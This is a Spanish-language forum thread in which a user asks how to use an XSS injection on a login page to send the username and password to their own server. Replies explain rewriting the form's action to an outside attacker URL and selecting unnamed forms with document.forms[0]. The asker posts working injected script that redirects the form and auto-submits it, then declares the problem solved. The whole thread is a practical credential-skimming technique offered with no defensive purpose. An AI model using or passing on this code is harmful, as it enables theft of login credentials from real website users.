¿Como se puede obtener post o get de un form desde un javascript y enviar estos a mi servidor?
Pongamos que hago una inyección XSS en una web donde esta el form de login, ¿se podría hacer que envíe el user y pass a mi servidor, o simplemente no se puede?
Si como dices, puedes ejecutar javascript, claro que se puede. Por ejemplo, la forma más simple y cantosa es cambiar el action del form.
¿Un pequeño ejemplo?
es simplemente cambiar el action del form :P
es decir
si el form originalmente es
<form method="POST" action="/paginadatos.php">
haces un jscript que lo cambie a
<form method="POST" action="http://tupagina.com/capturadatos.php">
si tienes dudas sobre como hacerlo recomiendo leer un tutorial sobre jscript completo que toque manipulación del DOM :P
He conseguido hacerlo
<form action="" method="post" name="nombre_form">
<input type="text" name="Username" placeholder="Usuario"/><br />
<input type="password" name="Password" placeholder="Contraseña" /><br />
<input type="submit" value="Enviar" />
//código supuestamente inyectado
<script>
document.nombre_form.action = 'obtener_datos.php';
document.nombre_form.submit();
</script>
luego solo hace falta un obtener_datos.php que recoja las variables y las envié otra vez al servidor inicial pero que pasa si el form no tiene la variable name.
Puedes acceder al form de distintas formas, como has puesto tú, con document.getElementById si tiene un id, con document.forms[] ....
Pongamos que tienes exactamente este form:
<form action="" method="post">
<input type="text" name="Username" placeholder="Usuario"/><br />
<input type="password" name="Password" placeholder="Contraseña" /><br />
<input type="submit" value="Enviar" />
//código a inyectar
como robarías las supuestas credenciales en este mismo form.
Si es el único o primer form de la página, document.forms[0]. En el navegador tienes una consola de javascript y puedes ir probando, además hay mucha información en internet sobre como hacer esto.
Pues ya esta todo resuelto, gracias.